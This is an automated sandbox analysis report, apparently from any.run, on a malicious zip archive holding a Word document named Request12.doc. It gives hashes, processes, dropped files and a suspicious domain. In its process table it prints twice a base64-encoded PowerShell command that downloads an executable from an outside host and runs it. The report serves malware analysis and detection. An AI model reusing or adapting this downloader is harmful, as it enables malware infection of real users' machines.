File name: | Information.zip |
Full analysis: | https://app.any.run/tasks/3ab5808e-dc89-468a-87fe-a2af6786edfd |
Verdict: | Malicious activity |
Analysis date: | February 18, 2019, 15:47:35 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 6ECD95FE9735A348CA0605B544B1DEA6 |
SHA1: | EF042931D99E6168ED5E05985C1C89AAEAEC89BC |
SHA256: | D2430C63901A33F17262E73C2C1517929E64CC9E3386E39438B1F6029286472B |
SSDEEP: | 3072:MUs/KjCZ6/Z4bqHZnMDCSYdiWhbmbrg+lAnRMtpKAp:b3mWZeqkYYWxmbrg+e6tpKAp |
.zip | | | ZIP compressed archive (100) |
---|
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0009 |
ZipCompression: | Deflated |
ZipModifyDate: | 2019:02:12 12:51:17 |
ZipCRC: | 0xc9c2feb6 |
ZipCompressedSize: | 103981 |
ZipUncompressedSize: | 163652 |
ZipFileName: | Request12.doc |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3024 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Information.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
3900 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rar$DIb3024.38556\Request12.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2792 | POwershell -e JABvAFYAaQBUAHIAVQA9ACgAJwBtAHAAOAAnACsAJwAyAGkASwB6AG8AJwApADsAJABVAE8AZABWAEgAYgBEAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHYAWQB3AE8AYgBxAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AdABjAGIAbgBvAG4AYQBwAGYANQAwAC4AYwBpAHQAeQAnACsAJwAvAHAAdQBlAHcAJwArACcAcAB4AG0AYQBzACcAKwAnAGwAJwArACcALwBzAHUAbwAnACsAJwBlAHAAdwAnACsAJwB4ACcAKwAnAHAAYQAnACsAJwBtAHgAJwArACcAYQBwAHgAbABhAG0AcwBsAHgAJwArACcAZAAnACsAJwBvAC4AJwArACcAcABoAHAAJwArACcAPwBsAD0AZABvACcAKwAnAG4AdQBmADkALgAnACsAJwBoAGEAcgB6ACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAE0AOQBRAEIAWgBMAHUANgA9ACgAJwBHACcAKwAnAFgAaQBaAHUAQgAnACkAOwAkAFkAYwBrAEMASwB3ACAAPQAgACgAJwA0ADUAJwArACcAMAAnACkAOwAkAFcAbgAzAFcANwBiAD0AKAAnAEsAdQAnACsAJwBUAG4ANgBiACcAKQA7ACQATABFAHcASwBmAE0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFkAYwBrAEMASwB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAbABNAHIARQBPAFoAdwAgAGkAbgAgACQAdgBZAHcATwBiAHEAKQB7AHQAcgB5AHsAJABVAE8AZABWAEgAYgBEAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwATQByAEUATwBaAHcALAAgACQATABFAHcASwBmAE0AKQA7ACQAdwB3AHYANwBTAGoAdgA9ACgAJwBrACcAKwAnAFcAJwArACcASABpAEcAagBzACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEwARQB3AEsAZgBNACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQATABFAHcASwBmAE0AOwAkAEoASgBXAGwAVABrAD0AKAAnAGMASwBvACcAKwAnAGsATAA2AEsAMQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagBIAEMAMgAyAGYAPQAoACcARQBzACcAKwAnAHIARgBPAGsAJwApADsA | C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2956 | POwershell -e JABvAFYAaQBUAHIAVQA9ACgAJwBtAHAAOAAnACsAJwAyAGkASwB6AG8AJwApADsAJABVAE8AZABWAEgAYgBEAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHYAWQB3AE8AYgBxAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AdABjAGIAbgBvAG4AYQBwAGYANQAwAC4AYwBpAHQAeQAnACsAJwAvAHAAdQBlAHcAJwArACcAcAB4AG0AYQBzACcAKwAnAGwAJwArACcALwBzAHUAbwAnACsAJwBlAHAAdwAnACsAJwB4ACcAKwAnAHAAYQAnACsAJwBtAHgAJwArACcAYQBwAHgAbABhAG0AcwBsAHgAJwArACcAZAAnACsAJwBvAC4AJwArACcAcABoAHAAJwArACcAPwBsAD0AZABvACcAKwAnAG4AdQBmADkALgAnACsAJwBoAGEAcgB6ACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAE0AOQBRAEIAWgBMAHUANgA9ACgAJwBHACcAKwAnAFgAaQBaAHUAQgAnACkAOwAkAFkAYwBrAEMASwB3ACAAPQAgACgAJwA0ADUAJwArACcAMAAnACkAOwAkAFcAbgAzAFcANwBiAD0AKAAnAEsAdQAnACsAJwBUAG4ANgBiACcAKQA7ACQATABFAHcASwBmAE0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFkAYwBrAEMASwB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAbABNAHIARQBPAFoAdwAgAGkAbgAgACQAdgBZAHcATwBiAHEAKQB7AHQAcgB5AHsAJABVAE8AZABWAEgAYgBEAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwATQByAEUATwBaAHcALAAgACQATABFAHcASwBmAE0AKQA7ACQAdwB3AHYANwBTAGoAdgA9ACgAJwBrACcAKwAnAFcAJwArACcASABpAEcAagBzACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEwARQB3AEsAZgBNACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQATABFAHcASwBmAE0AOwAkAEoASgBXAGwAVABrAD0AKAAnAGMASwBvACcAKwAnAGsATAA2AEsAMQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagBIAEMAMgAyAGYAPQAoACcARQBzACcAKwAnAHIARgBPAGsAJwApADsA | C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3900 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR30B4.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3900 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2CB1D8EE.Epz5HcB | — | |
MD5:— | SHA256:— | |||
2792 | POwershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QCKO0OCV218JBY5XGI7X.temp | — | |
MD5:— | SHA256:— | |||
2956 | POwershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S0L984GR59TNX8C8BOWI.temp | — | |
MD5:— | SHA256:— | |||
2956 | POwershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF21ba08.TMP | binary | |
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8 | SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3 | |||
2792 | POwershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF21395f.TMP | binary | |
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8 | SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3 | |||
2956 | POwershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8 | SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3 | |||
2792 | POwershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8 | SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3 | |||
3900 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Rar$DIb3024.38556\~$quest12.doc | pgc | |
MD5:3FDE3C3C11E64C27B85E5CB9DAD11322 | SHA256:E6324C913C395EEAE1FC43D585FDD7865A5F8A9BF5198E31D72FE446115A288F | |||
3900 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:420E937DC56A45E1FF63C50C5BAA2A1A | SHA256:A9E55F77E26D3DEBB6D297385B61A3C2B8028BC9075220DDC67F7E35E6ECB481 |
Domain | IP | Reputation |
---|---|---|
tcbnonapf50.city |
| suspicious |